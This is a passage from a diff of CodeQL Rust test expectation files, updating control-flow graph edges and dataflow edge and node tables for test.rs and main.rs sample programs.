-| test.rs:99:24:99:24 | x | test.rs:99:9:103:9 | while ... { ... } | no-match |
 | test.rs:99:24:99:24 | x | test.rs:99:24:99:24 | x |  |
 | test.rs:99:24:99:24 | x | test.rs:100:17:100:17 | x | match |
 | test.rs:99:29:99:32 | iter | test.rs:99:29:99:39 | iter.next(...) |  |
@@ -317,7 +316,6 @@ edges
 | test.rs:146:16:146:22 | Some(...) | test.rs:149:13:149:13 | 0 | no-match |
 | test.rs:146:21:146:21 | n | test.rs:146:21:146:21 | n |  |
 | test.rs:146:21:146:21 | n | test.rs:147:13:147:13 | n | match |
-| test.rs:146:21:146:21 | n | test.rs:149:13:149:13 | 0 | no-match |
 | test.rs:146:26:146:26 | a | test.rs:146:16:146:22 | Some(...) |  |
 | test.rs:146:28:148:9 | { ... } | test.rs:146:9:150:9 | if ... {...} else {...} |  |
 | test.rs:147:13:147:13 | n | test.rs:146:28:148:9 | { ... } |  |
@@ -334,7 +332,6 @@ edges
 | test.rs:154:12:154:26 | let ... = a | test.rs:154:26:154:26 | a |  |
 | test.rs:154:16:154:22 | Some(...) | test.rs:154:9:156:9 | if ... {...} | no-match |
 | test.rs:154:16:154:22 | Some(...) | test.rs:154:21:154:21 | n | match |
-| test.rs:154:21:154:21 | n | test.rs:154:9:156:9 | if ... {...} | no-match |
 | test.rs:154:21:154:21 | n | test.rs:154:21:154:21 | n |  |
 | test.rs:154:21:154:21 | n | test.rs:155:13:155:21 | ExprStmt | match |
 | test.rs:154:26:154:26 | a | test.rs:154:16:154:22 | Some(...) |  |
@@ -802,7 +799,6 @@ edges
 | test.rs:328:13:328:27 | ...::Some(...) | test.rs:329:13:329:27 | ...::Some(...) | no-match |
 | test.rs:328:26:328:26 | x | test.rs:328:26:328:26 | x |  |
 | test.rs:328:26:328:26 | x | test.rs:328:32:328:32 | x | match |
-| test.rs:328:26:328:26 | x | test.rs:329:13:329:27 | ...::Some(...) | no-match |
 | test.rs:328:32:328:32 | x | test.rs:328:36:328:37 | 10 |  |
 | test.rs:328:32:328:37 | ... < ... | test.rs:328:42:328:42 | x | true |
 | test.rs:328:32:328:37 | ... < ... | test.rs:329:13:329:27 | ...::Some(...) | false |
@@ -814,7 +810,6 @@ edges
 | test.rs:329:13:329:27 | ...::Some(...) | test.rs:330:13:330:24 | ...::None | no-match |
 | test.rs:329:26:329:26 | x | test.rs:329:26:329:26 | x |  |
 | test.rs:329:26:329:26 | x | test.rs:329:32:329:32 | x | match |
-| test.rs:329:26:329:26 | x | test.rs:330:13:330:24 | ...::None | no-match |
 | test.rs:329:32:329:32 | x | test.rs:327:9:331:9 | match maybe_digit { ... } |  |
 | test.rs:330:13:330:24 | ...::None | test.rs:330:29:330:29 | 5 | match |
 | test.rs:330:29:330:29 | 5 | test.rs:327:9:331:9 | match maybe_digit { ... } |  |
@@ -841,7 +836,6 @@ edges
 | test.rs:340:13:340:27 | ...::Some(...) | test.rs:341:13:341:24 | ...::None | no-match |
 | test.rs:340:26:340:26 | x | test.rs:340:26:340:26 | x |  |
 | test.rs:340:26:340:26 | x | test.rs:340:32:340:32 | x | match |
-| test.rs:340:26:340:26 | x | test.rs:341:13:341:24 | ...::None | no-match |
 | test.rs:340:32:340:32 | x | test.rs:340:36:340:36 | 5 |  |
 | test.rs:340:32:340:36 | ... + ... | test.rs:335:9:342:9 | match ... { ... } |  |
 | test.rs:340:36:340:36 | 5 | test.rs:340:32:340:36 | ... + ... |  |
@@ -864,7 +858,6 @@ edges
 | test.rs:347:13:347:19 | Some(...) | test.rs:348:13:348:13 | _ | no-match |
 | test.rs:347:18:347:18 | a | test.rs:347:18:347:18 | a |  |
 | test.rs:347:18:347:18 | a | test.rs:347:24:347:24 | a | match |
-| test.rs:347:18:347:18 | a | test.rs:348:13:348:13 | _ | no-match |
 | test.rs:347:24:347:24 | a | test.rs:346:10:349:9 | [boolean(false)] match r { ... } | false |
 | test.rs:347:24:347:24 | a | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | true |
 | test.rs:348:13:348:13 | _ | test.rs:348:18:348:22 | false | match |
@@ -882,7 +875,6 @@ edges
 | test.rs:354:13:354:21 | Ok(...) | test.rs:355:13:355:22 | Err(...) | no-match |
 | test.rs:354:16:354:20 | value | test.rs:354:16:354:20 | value |  |
 | test.rs:354:16:354:20 | value | test.rs:354:26:354:30 | value | match |
-| test.rs:354:16:354:20 | value | test.rs:355:13:355:22 | Err(...) | no-match |
 | test.rs:354:26:354:30 | value | test.rs:353:9:356:9 | match r { ... } |  |
 | test.rs:355:13:355:22 | Err(...) | test.rs:355:17:355:21 | never | match |
 | test.rs:355:17:355:21 | never | test.rs:355:17:355:21 | never |  |
@@ -899,7 +891,6 @@ edges
 | test.rs:363:13:363:19 | Some(...) | test.rs:363:18:363:18 | n | match |
 | test.rs:363:13:363:19 | Some(...) | test.rs:363:39:363:53 | MacroStmts | no-match |
 | test.rs:363:18:363:18 | n | test.rs:363:18:363:18 | n |  |
-| test.rs:363:18:363:18 | n | test.rs:363:39:363:53 | MacroStmts | no-match |
 | test.rs:363:18:363:18 | n | test.rs:364:9:364:9 | n | match |
 | test.rs:363:23:363:23 | a | test.rs:363:13:363:19 | Some(...) |  |
 | test.rs:363:32:363:54 | ...::panic_fmt | test.rs:363:39:363:53 | "Expected some" |  |
@@ -932,7 +923,6 @@ edges
 | test.rs:369:13:369:21 | Some(...) | test.rs:370:13:370:16 | None | no-match |
 | test.rs:369:18:369:20 | ret | test.rs:369:18:369:20 | ret |  |
 | test.rs:369:18:369:20 | ret | test.rs:369:26:369:28 | ret | match |
-| test.rs:369:18:369:20 | ret | test.rs:370:13:370:16 | None | no-match |
 | test.rs:369:26:369:28 | ret | test.rs:368:19:371:9 | match m { ... } |  |
 | test.rs:370:13:370:16 | None | test.rs:370:13:370:16 | None |  |
 | test.rs:370:13:370:16 | None | test.rs:370:28:370:32 | false | match |
@@ -1158,7 +1148,6 @@ edges
 | test.rs:462:14:462:35 | TuplePat | test.rs:462:15:462:15 | n | match |
 | test.rs:462:15:462:15 | n | test.rs:462:15:462:15 | n |  |
 | test.rs:462:15:462:15 | n | test.rs:462:18:462:34 | MyStruct {...} | match |
-| test.rs:462:15:462:15 | n | test.rs:463:13:463:13 | _ | no-match |
 | test.rs:462:18:462:34 | MyStruct {...} | test.rs:462:32:462:32 | _ | match |
 | test.rs:462:18:462:34 | MyStruct {...} | test.rs:463:13:463:13 | _ | no-match |
 | test.rs:462:32:462:32 | _ | test.rs:462:40:462:40 | n | match |
@@ -1409,7 +1398,6 @@ edges
 | test.rs:587:13:587:19 | Some(...) | test.rs:587:18:587:18 | y | match |
 | test.rs:587:13:587:19 | Some(...) | test.rs:588:13:588:27 | ExprStmt | no-match |
 | test.rs:587:18:587:18 | y | test.rs:587:18:587:18 | y |  |
-| test.rs:587:18:587:18 | y | test.rs:588:13:588:27 | ExprStmt | no-match |
 | test.rs:587:18:587:18 | y | test.rs:590:9:590:9 | 0 | match |
 | test.rs:587:23:587:23 | x | test.rs:587:13:587:19 | Some(...) |  |
 | test.rs:588:13:588:26 | break ''block 1 | test.rs:585:18:591:5 | 'block: { ... } | break |
diff --git a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected
index aa484de0a672..291d43d1a62c 100644
--- a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected
+++ b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected
@@ -4,219 +4,231 @@ edges
 | main.rs:13:5:13:13 | source(...) | main.rs:12:28:14:1 | { ... } | provenance |  |
 | main.rs:17:9:17:9 | a | main.rs:18:10:18:10 | a | provenance |  |
 | main.rs:17:13:17:23 | get_data(...) | main.rs:17:9:17:9 | a | provenance |  |
-| main.rs:21:12:21:17 | ...: i64 | main.rs:22:10:22:10 | n | provenance |  |
-| main.rs:26:9:26:9 | a | main.rs:27:13:27:13 | a | provenance |  |
-| main.rs:26:13:26:21 | source(...) | main.rs:26:9:26:9 | a | provenance |  |
-| main.rs:27:13:27:13 | a | main.rs:21:12:21:17 | ...: i64 | provenance |  |
-| main.rs:30:17:30:22 | ...: i64 | main.rs:30:32:32:1 | { ... } | provenance |  |
-| main.rs:35:9:35:9 | a | main.rs:36:26:36:26 | a | provenance |  |
-| main.rs:35:13:35:21 | source(...) | main.rs:35:9:35:9 | a | provenance |  |
-| main.rs:36:9:36:9 | b | main.rs:37:10:37:10 | b | provenance |  |
-| main.rs:36:13:36:27 | pass_through(...) | main.rs:36:9:36:9 | b | provenance |  |
-| main.rs:36:26:36:26 | a | main.rs:30:17:30:22 | ...: i64 | provenance |  |
-| main.rs:36:26:36:26 | a | main.rs:36:13:36:27 | pass_through(...) | provenance |  |
-| main.rs:41:9:41:9 | a | main.rs:45:10:45:10 | a | provenance |  |
-| main.rs:41:13:44:6 | pass_through(...) | main.rs:41:9:41:9 | a | provenance |  |
-| main.rs:41:26:44:5 | { ... } | main.rs:30:17:30:22 | ...: i64 | provenance |  |
-| main.rs:41:26:44:5 | { ... } | main.rs:41:13:44:6 | pass_through(...) | provenance |  |
-| main.rs:43:9:43:18 | source(...) | main.rs:41:26:44:5 | { ... } | provenance |  |
-| main.rs:49:9:49:9 | a | main.rs:55:26:55:26 | a | provenance |  |
-| main.rs:49:13:49:22 | source(...) | main.rs:49:9:49:9 | a | provenance |  |
-| main.rs:51:21:51:26 | ...: i64 | main.rs:51:36:53:5 | { ... } | provenance |  |
-| main.rs:55:9:55:9 | b | main.rs:56:10:56:10 | b | provenance |  |
-| main.rs:55:13:55:27 | pass_through(...) | main.rs:55:9:55:9 | b | provenance |  |
-| main.rs:55:26:55:26 | a | main.rs:51:21:51:26 | ...: i64 | provenance |  |
-| main.rs:55:26:55:26 | a | main.rs:55:13:55:27 | pass_through(...) | provenance |  |
-| main.rs:67:23:67:28 | ...: i64 | main.rs:68:14:68:14 | n | provenance |  |
-| main.rs:71:31:77:5 | { ... } | main.rs:90:13:90:25 | mn.get_data(...) | provenance |  |
-| main.rs:75:13:75:21 | source(...) | main.rs:71:31:77:5 | { ... } | provenance |  |
-| main.rs:79:28:79:33 | ...: i64 | main.rs:79:43:85:5 | { ... } | provenance |  |
-| main.rs:90:9:90:9 | a | main.rs:91:10:91:10 | a | provenance |  |
-| main.rs:90:13:90:25 | mn.get_data(...) | main.rs:90:9:90:9 | a | provenance |  |
-| main.rs:96:9:96:9 | a | main.rs:97:16:97:16 | a | provenance |  |
-| main.rs:96:13:96:21 | source(...) | main.rs:96:9:96:9 | a | provenance |  |
-| main.rs:97:16:97:16 | a | main.rs:67:23:67:28 | ...: i64 | provenance |  |
-| main.rs:102:9:102:9 | a | main.rs:103:29:103:29 | a | provenance |  |
-| main.rs:102:13:102:21 | source(...) | main.rs:102:9:102:9 | a | provenance |  |
-| main.rs:103:9:103:9 | b | main.rs:104:10:104:10 | b | provenance |  |
-| main.rs:103:13:103:30 | mn.data_through(...) | main.rs:103:9:103:9 | b | provenance |  |
-| main.rs:103:29:103:29 | a | main.rs:79:28:79:33 | ...: i64 | provenance |  |
-| main.rs:103:29:103:29 | a | main.rs:103:13:103:30 | mn.data_through(...) | provenance |  |
-| main.rs:109:9:109:9 | a | main.rs:110:26:110:26 | a | provenance |  |
-| main.rs:109:13:109:21 | source(...) | main.rs:109:9:109:9 | a | provenance |  |
-| main.rs:110:26:110:26 | a | main.rs:67:23:67:28 | ...: i64 | provenance |  |
-| main.rs:115:9:115:9 | a | main.rs:116:39:116:39 | a | provenance |  |
-| main.rs:115:13:115:22 | source(...) | main.rs:115:9:115:9 | a | provenance |  |
-| main.rs:116:9:116:9 | b | main.rs:117:10:117:10 | b | provenance |  |
-| main.rs:116:13:116:40 | ...::data_through(...) | main.rs:116:9:116:9 | b | provenance |  |
-| main.rs:116:39:116:39 | a | main.rs:79:28:79:33 | ...: i64 | provenance |  |
-| main.rs:116:39:116:39 | a | main.rs:116:13:116:40 | ...::data_through(...) | provenance |  |
-| main.rs:128:12:128:17 | ...: i64 | main.rs:129:24:129:24 | n | provenance |  |
-| main.rs:129:9:129:26 | MyInt {...} [MyInt] | main.rs:128:28:130:5 | { ... } [MyInt] | provenance |  |
-| main.rs:129:24:129:24 | n | main.rs:129:9:129:26 | MyInt {...} [MyInt] | provenance |  |
-| main.rs:134:9:134:9 | n [MyInt] | main.rs:135:9:135:26 | MyInt {...} [MyInt] | provenance |  |
-| main.rs:134:13:134:34 | ...::new(...) [MyInt] | main.rs:134:9:134:9 | n [MyInt] | provenance |  |
-| main.rs:134:24:134:33 | source(...) | main.rs:128:12:128:17 | ...: i64 | provenance |  |
-| main.rs:134:24:134:33 | source(...) | main.rs:134:13:134:34 | ...::new(...) [MyInt] | provenance |  |
-| main.rs:135:9:135:26 | MyInt {...} [MyInt] | main.rs:135:24:135:24 | m | provenance |  |
-| main.rs:135:24:135:24 | m | main.rs:136:10:136:10 | m | provenance |  |
-| main.rs:175:18:175:21 | SelfParam [MyInt] | main.rs:175:48:177:5 | { ... } [MyInt] | provenance |  |
-| main.rs:179:26:179:37 | ...: MyInt [MyInt] | main.rs:179:49:181:5 | { ... } [MyInt] | provenance |  |
-| main.rs:185:9:185:9 | a [MyInt] | main.rs:187:49:187:49 | a [MyInt] | provenance |  |
-| main.rs:185:13:185:38 | MyInt {...} [MyInt] | main.rs:185:9:185:9 | a [MyInt] | provenance |  |
-| main.rs:185:28:185:36 | source(...) | main.rs:185:13:185:38 | MyInt {...} [MyInt] | provenance |  |
-| main.rs:187:9:187:26 | MyInt {...} [MyInt] | main.rs:187:24:187:24 | c | provenance |  |
-| main.rs:187:24:187:24 | c | main.rs:188:10:188:10 | c | provenance |  |
-| main.rs:187:30:187:53 | ...::take_self(...) [MyInt] | main.rs:187:9:187:26 | MyInt {...} [MyInt] | provenance |  |
-| main.rs:187:49:187:49 | a [MyInt] | main.rs:175:18:175:21 | SelfParam [MyInt] | provenance |  |
-| main.rs:187:49:187:49 | a [MyInt] | main.rs:187:30:187:53 | ...::take_self(...) [MyInt] | provenance |  |
-| main.rs:191:9:191:9 | b [MyInt] | main.rs:192:54:192:54 | b [MyInt] | provenance |  |
-| main.rs:191:13:191:39 | MyInt {...} [MyInt] | main.rs:191:9:191:9 | b [MyInt] | provenance |  |
-| main.rs:191:28:191:37 | source(...) | main.rs:191:13:191:39 | MyInt {...} [MyInt] | provenance |  |
-| main.rs:192:9:192:26 | MyInt {...} [MyInt] | main.rs:192:24:192:24 | c | provenance |  |
-| main.rs:192:24:192:24 | c | main.rs:193:10:193:10 | c | provenance |  |
-| main.rs:192:30:192:55 | ...::take_second(...) [MyInt] | main.rs:192:9:192:26 | MyInt {...} [MyInt] | provenance |  |
-| main.rs:192:54:192:54 | b [MyInt] | main.rs:179:26:179:37 | ...: MyInt [MyInt] | provenance |  |
-| main.rs:192:54:192:54 | b [MyInt] | main.rs:192:30:192:55 | ...::take_second(...) [MyInt] | provenance |  |
-| main.rs:202:9:202:9 | a | main.rs:203:10:203:10 | a | provenance |  |
-| main.rs:202:13:202:21 | source(...) | main.rs:202:9:202:9 | a | provenance |  |
-| main.rs:212:13:212:13 | c | main.rs:213:14:213:14 | c | provenance |  |
-| main.rs:212:17:212:25 | source(...) | main.rs:212:13:212:13 | c | provenance |  |
-| main.rs:228:25:228:30 | ...: i64 | main.rs:229:10:229:10 | c | provenance |  |
-| main.rs:229:6:229:6 | [post] n [&ref] | main.rs:228:12:228:22 | ...: ... [Return] [&ref] | provenance |  |
-| main.rs:229:10:229:10 | c | main.rs:229:6:229:6 | [post] n [&ref] | provenance |  |
-| main.rs:237:13:237:13 | [post] m [&ref] | main.rs:238:11:238:11 | m [&ref] | provenance |  |
-| main.rs:237:16:237:25 | source(...) | main.rs:228:25:228:30 | ...: i64 | provenance |  |
-| main.rs:237:16:237:25 | source(...) | main.rs:237:13:237:13 | [post] m [&ref] | provenance |  |
-| main.rs:238:11:238:11 | m [&ref] | main.rs:238:10:238:11 | * ... | provenance |  |
+| main.rs:26:28:26:33 | ...: i64 | main.rs:27:24:27:24 | n | provenance |  |
+| main.rs:27:10:27:14 | [post] * ... [MyStruct] | main.rs:27:11:27:14 | [post] self [&ref, MyStruct] | provenance |  |
+| main.rs:27:11:27:14 | [post] self [&ref, MyStruct] | main.rs:26:17:26:25 | SelfParam [Return] [&ref, MyStruct] | provenance |  |
+| main.rs:27:24:27:24 | n | main.rs:27:10:27:14 | [post] * ... [MyStruct] | provenance |  |
+| main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | main.rs:31:11:31:14 | self [&ref, MyStruct] | provenance |  |
+| main.rs:31:9:31:20 | ... .data | main.rs:30:31:32:5 | { ... } | provenance |  |
+| main.rs:31:10:31:14 | * ... [MyStruct] | main.rs:31:9:31:20 | ... .data | provenance |  |
+| main.rs:31:11:31:14 | self [&ref, MyStruct] | main.rs:31:10:31:14 | * ... [MyStruct] | provenance |  |
+| main.rs:38:6:38:11 | [post] &mut a [&ref, MyStruct] | main.rs:38:11:38:11 | [post] a [MyStruct] | provenance |  |
+| main.rs:38:11:38:11 | [post] a [MyStruct] | main.rs:39:10:39:10 | a [MyStruct] | provenance |  |
+| main.rs:38:23:38:31 | source(...) | main.rs:26:28:26:33 | ...: i64 | provenance |  |
+| main.rs:38:23:38:31 | source(...) | main.rs:38:6:38:11 | [post] &mut a [&ref, MyStruct] | provenance |  |
+| main.rs:39:10:39:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | provenance |  |
+| main.rs:39:10:39:10 | a [MyStruct] | main.rs:39:10:39:21 | a.get_data(...) | provenance |  |
+| main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] | main.rs:44:17:44:17 | [post] a [MyStruct] | provenance |  |
+| main.rs:44:17:44:17 | [post] a [MyStruct] | main.rs:45:10:45:10 | a [MyStruct] | provenance |  |
+| main.rs:44:30:44:38 | source(...) | main.rs:26:28:26:33 | ...: i64 | provenance |  |
+| main.rs:44:30:44:38 | source(...) | main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] | provenance |  |
+| main.rs:45:10:45:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | provenance |  |
+| main.rs:45:10:45:10 | a [MyStruct] | main.rs:45:10:45:21 | a.get_data(...) | provenance |  |
+| main.rs:48:12:48:17 | ...: i64 | main.rs:49:10:49:10 | n | provenance |  |
+| main.rs:53:9:53:9 | a | main.rs:54:13:54:13 | a | provenance |  |
+| main.rs:53:13:53:21 | source(...) | main.rs:53:9:53:9 | a | provenance |  |
+| main.rs:54:13:54:13 | a | main.rs:48:12:48:17 | ...: i64 | provenance |  |
+| main.rs:57:17:57:22 | ...: i64 | main.rs:57:32:59:1 | { ... } | provenance |  |
+| main.rs:62:9:62:9 | a | main.rs:63:26:63:26 | a | provenance |  |
+| main.rs:62:13:62:21 | source(...) | main.rs:62:9:62:9 | a | provenance |  |
+| main.rs:63:9:63:9 | b | main.rs:64:10:64:10 | b | provenance |  |
+| main.rs:63:13:63:27 | pass_through(...) | main.rs:63:9:63:9 | b | provenance |  |
+| main.rs:63:26:63:26 | a | main.rs:57:17:57:22 | ...: i64 | provenance |  |
+| main.rs:63:26:63:26 | a | main.rs:63:13:63:27 | pass_through(...) | provenance |  |
+| main.rs:68:9:68:9 | a | main.rs:72:10:72:10 | a | provenance |  |
+| main.rs:68:13:71:6 | pass_through(...) | main.rs:68:9:68:9 | a | provenance |  |
+| main.rs:68:26:71:5 | { ... } | main.rs:57:17:57:22 | ...: i64 | provenance |  |
+| main.rs:68:26:71:5 | { ... } | main.rs:68:13:71:6 | pass_through(...) | provenance |  |
+| main.rs:70:9:70:18 | source(...) | main.rs:68:26:71:5 | { ... } | provenance |  |
+| main.rs:76:9:76:9 | a | main.rs:82:26:82:26 | a | provenance |  |
+| main.rs:76:13:76:22 | source(...) | main.rs:76:9:76:9 | a | provenance |  |
+| main.rs:78:21:78:26 | ...: i64 | main.rs:78:36:80:5 | { ... } | provenance |  |
+| main.rs:82:9:82:9 | b | main.rs:83:10:83:10 | b | provenance |  |
+| main.rs:82:13:82:27 | pass_through(...) | main.rs:82:9:82:9 | b | provenance |  |
+| main.rs:82:26:82:26 | a | main.rs:78:21:78:26 | ...: i64 | provenance |  |
+| main.rs:82:26:82:26 | a | main.rs:82:13:82:27 | pass_through(...) | provenance |  |
+| main.rs:94:22:94:27 | ...: i64 | main.rs:95:14:95:14 | n | provenance |  |
+| main.rs:98:30:104:5 | { ... } | main.rs:117:13:117:25 | mn.get_data(...) | provenance |  |
+| main.rs:102:13:102:21 | source(...) | main.rs:98:30:104:5 | { ... } | provenance |  |
+| main.rs:106:27:106:32 | ...: i64 | main.rs:106:42:112:5 | { ... } | provenance |  |
+| main.rs:117:9:117:9 | a | main.rs:118:10:118:10 | a | provenance |  |
+| main.rs:117:13:117:25 | mn.get_data(...) | main.rs:117:9:117:9 | a | provenance |  |
+| main.rs:123:9:123:9 | a | main.rs:124:16:124:16 | a | provenance |  |
+| main.rs:123:13:123:21 | source(...) | main.rs:123:9:123:9 | a | provenance |  |
+| main.rs:124:16:124:16 | a | main.rs:94:22:94:27 | ...: i64 | provenance |  |
+| main.rs:129:9:129:9 | a | main.rs:130:29:130:29 | a | provenance |  |
+| main.rs:129:13:129:21 | source(...) | main.rs:129:9:129:9 | a | provenance |  |
+| main.rs:130:9:130:9 | b | main.rs:131:10:131:10 | b | provenance |  |
+| main.rs:130:13:130:30 | mn.data_through(...) | main.rs:130:9:130:9 | b | provenance |  |
+| main.rs:130:29:130:29 | a | main.rs:106:27:106:32 | ...: i64 | provenance |  |
+| main.rs:130:29:130:29 | a | main.rs:130:13:130:30 | mn.data_through(...) | provenance |  |
+| main.rs:136:9:136:9 | a | main.rs:137:25:137:25 | a | provenance |  |
+| main.rs:136:13:136:21 | source(...) | main.rs:136:9:136:9 | a | provenance |  |
+| main.rs:137:25:137:25 | a | main.rs:94:22:94:27 | ...: i64 | provenance |  |
+| main.rs:142:9:142:9 | a | main.rs:143:38:143:38 | a | provenance |  |
+| main.rs:142:13:142:22 | source(...) | main.rs:142:9:142:9 | a | provenance |  |
+| main.rs:143:9:143:9 | b | main.rs:144:10:144:10 | b | provenance |  |
+| main.rs:143:13:143:39 | ...::data_through(...) | main.rs:143:9:143:9 | b | provenance |  |
+| main.rs:143:38:143:38 | a | main.rs:106:27:106:32 | ...: i64 | provenance |  |
+| main.rs:143:38:143:38 | a | main.rs:143:13:143:39 | ...::data_through(...) | provenance |  |
+| main.rs:155:12:155:17 | ...: i64 | main.rs:156:24:156:24 | n | provenance |  |
+| main.rs:156:9:156:26 | MyInt {...} [MyInt] | main.rs:155:28:157:5 | { ... } [MyInt] | provenance |  |
+| main.rs:156:24:156:24 | n | main.rs:156:9:156:26 | MyInt {...} [MyInt] | provenance |  |
+| main.rs:161:9:161:9 | n [MyInt] | main.rs:162:9:162:26 | MyInt {...} [MyInt] | provenance |  |
+| main.rs:161:13:161:34 | ...::new(...) [MyInt] | main.rs:161:9:161:9 | n [MyInt] | provenance |  |
+| main.rs:161:24:161:33 | source(...) | main.rs:155:12:155:17 | ...: i64 | provenance |  |
+| main.rs:161:24:161:33 | source(...) | main.rs:161:13:161:34 | ...::new(...) [MyInt] | provenance |  |
+| main.rs:162:9:162:26 | MyInt {...} [MyInt] | main.rs:162:24:162:24 | m | provenance |  |
+| main.rs:162:24:162:24 | m | main.rs:163:10:163:10 | m | provenance |  |
+| main.rs:169:12:169:15 | SelfParam [MyInt] | main.rs:171:24:171:27 | self [MyInt] | provenance |  |
+| main.rs:171:9:171:35 | MyInt {...} [MyInt] | main.rs:169:42:172:5 | { ... } [MyInt] | provenance |  |
+| main.rs:171:24:171:27 | self [MyInt] | main.rs:171:24:171:33 | self.value | provenance |  |
+| main.rs:171:24:171:33 | self.value | main.rs:171:9:171:35 | MyInt {...} [MyInt] | provenance |  |
+| main.rs:186:9:186:9 | a [MyInt] | main.rs:169:12:169:15 | SelfParam [MyInt] | provenance |  |
+| main.rs:186:9:186:9 | a [MyInt] | main.rs:188:13:188:20 | a.add(...) [MyInt] | provenance |  |
+| main.rs:186:13:186:38 | MyInt {...} [MyInt] | main.rs:186:9:186:9 | a [MyInt] | provenance |  |
+| main.rs:186:28:186:36 | source(...) | main.rs:186:13:186:38 | MyInt {...} [MyInt] | provenance |  |
+| main.rs:188:9:188:9 | d [MyInt] | main.rs:189:10:189:10 | d [MyInt] | provenance |  |
+| main.rs:188:13:188:20 | a.add(...) [MyInt] | main.rs:188:9:188:9 | d [MyInt] | provenance |  |
+| main.rs:189:10:189:10 | d [MyInt] | main.rs:189:10:189:16 | d.value | provenance |  |
+| main.rs:228:9:228:9 | a | main.rs:229:10:229:10 | a | provenance |  |
+| main.rs:228:13:228:21 | source(...) | main.rs:228:9:228:9 | a | provenance |  |
+| main.rs:238:13:238:13 | c | main.rs:239:14:239:14 | c | provenance |  |
+| main.rs:238:17:238:25 | source(...) | main.rs:238:13:238:13 | c | provenance |  |
 nodes
 | main.rs:12:28:14:1 | { ... } | semmle.label | { ... } |
 | main.rs:13:5:13:13 | source(...) | semmle.label | source(...) |
 | main.rs:17:9:17:9 | a | semmle.label | a |
 | main.rs:17:13:17:23 | get_data(...) | semmle.label | get_data(...) |
 | main.rs:18:10:18:10 | a | semmle.label | a |
-| main.rs:21:12:21:17 | ...: i64 | semmle.label | ...: i64 |
-| main.rs:22:10:22:10 | n | semmle.label | n |
-| main.rs:26:9:26:9 | a | semmle.label | a |
-| main.rs:26:13:26:21 | source(...) | semmle.label | source(...) |
-| main.rs:27:13:27:13 | a | semmle.label | a |
-| main.rs:30:17:30:22 | ...: i64 | semmle.label | ...: i64 |
-| main.rs:30:32:32:1 | { ... } | semmle.label | { ... } |
-| main.rs:35:9:35:9 | a | semmle.label | a |
-| main.rs:35:13:35:21 | source(...) | semmle.label | source(...) |
-| main.rs:36:9:36:9 | b | semmle.label | b |
-| main.rs:36:13:36:27 | pass_through(...) | semmle.label | pass_through(...) |
-| main.rs:36:26:36:26 | a | semmle.label | a |
-| main.rs:37:10:37:10 | b | semmle.label | b |
-| main.rs:41:9:41:9 | a | semmle.label | a |
-| main.rs:41:13:44:6 | pass_through(...) | semmle.label | pass_through(...) |
-| main.rs:41:26:44:5 | { ... } | semmle.label | { ... } |
-| main.rs:43:9:43:18 | source(...) | semmle.label | source(...) |
-| main.rs:45:10:45:10 | a | semmle.label | a |
-| main.rs:49:9:49:9 | a | semmle.label | a |
-| main.rs:49:13:49:22 | source(...) | semmle.label | source(...) |
-| main.rs:51:21:51:26 | ...: i64 | semmle.label | ...: i64 |
-| main.rs:51:36:53:5 | { ... } | semmle.label | { ... } |
-| main.rs:55:9:55:9 | b | semmle.label | b |
-| main.rs:55:13:55:27 | pass_through(...) | semmle.label | pass_through(...) |
-| main.rs:55:26:55:26 | a | semmle.label | a |
-| main.rs:56:10:56:10 | b | semmle.label | b |
-| main.rs:67:23:67:28 | ...: i64 | semmle.label | ...: i64 |
-| main.rs:68:14:68:14 | n | semmle.label | n |
-| main.rs:71:31:77:5 | { ... } | semmle.label | { ... } |
-| main.rs:75:13:75:21 | source(...) | semmle.label | source(...) |
-| main.rs:79:28:79:33 | ...: i64 | semmle.label | ...: i64 |
-| main.rs:79:43:85:5 | { ... } | semmle.label | { ... } |
-| main.rs:90:9:90:9 | a | semmle.label | a |
-| main.rs:90:13:90:25 | mn.get_data(...) | semmle.label | mn.get_data(...) |
-| main.rs:91:10:91:10 | a | semmle.label | a |
-| main.rs:96:9:96:9 | a | semmle.label | a |
-| main.rs:96:13:96:21 | source(...) | semmle.label | source(...) |
-| main.rs:97:16:97:16 | a | semmle.label | a |
-| main.rs:102:9:102:9 | a | semmle.label | a |
+| main.rs:26:17:26:25 | SelfParam [Return] [&ref, MyStruct] | semmle.label | SelfParam [Return] [&ref, MyStruct] |
+| main.rs:26:28:26:33 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:27:10:27:14 | [post] * ... [MyStruct] | semmle.label | [post] * ... [MyStruct] |
+| main.rs:27:11:27:14 | [post] self [&ref, MyStruct] | semmle.label | [post] self [&ref, MyStruct] |
+| main.rs:27:24:27:24 | n | semmle.label | n |
+| main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | semmle.label | SelfParam [&ref, MyStruct] |
+| main.rs:30:31:32:5 | { ... } | semmle.label | { ... } |
+| main.rs:31:9:31:20 | ... .data | semmle.label | ... .data |
+| main.rs:31:10:31:14 | * ... [MyStruct] | semmle.label | * ... [MyStruct] |
+| main.rs:31:11:31:14 | self [&ref, MyStruct] | semmle.label | self [&ref, MyStruct] |
+| main.rs:38:6:38:11 | [post] &mut a [&ref, MyStruct] | semmle.label | [post] &mut a [&ref, MyStruct] |
+| main.rs:38:11:38:11 | [post] a [MyStruct] | semmle.label | [post] a [MyStruct] |
+| main.rs:38:23:38:31 | source(...) | semmle.label | source(...) |
+| main.rs:39:10:39:10 | a [MyStruct] | semmle.label | a [MyStruct] |
+| main.rs:39:10:39:21 | a.get_data(...) | semmle.label | a.get_data(...) |
+| main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] | semmle.label | [post] &mut a [&ref, MyStruct] |
+| main.rs:44:17:44:17 | [post] a [MyStruct] | semmle.label | [post] a [MyStruct] |
+| main.rs:44:30:44:38 | source(...) | semmle.label | source(...) |
+| main.rs:45:10:45:10 | a [MyStruct] | semmle.label | a [MyStruct] |
+| main.rs:45:10:45:21 | a.get_data(...) | semmle.label | a.get_data(...) |
+| main.rs:48:12:48:17 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:49:10:49:10 | n | semmle.label | n |
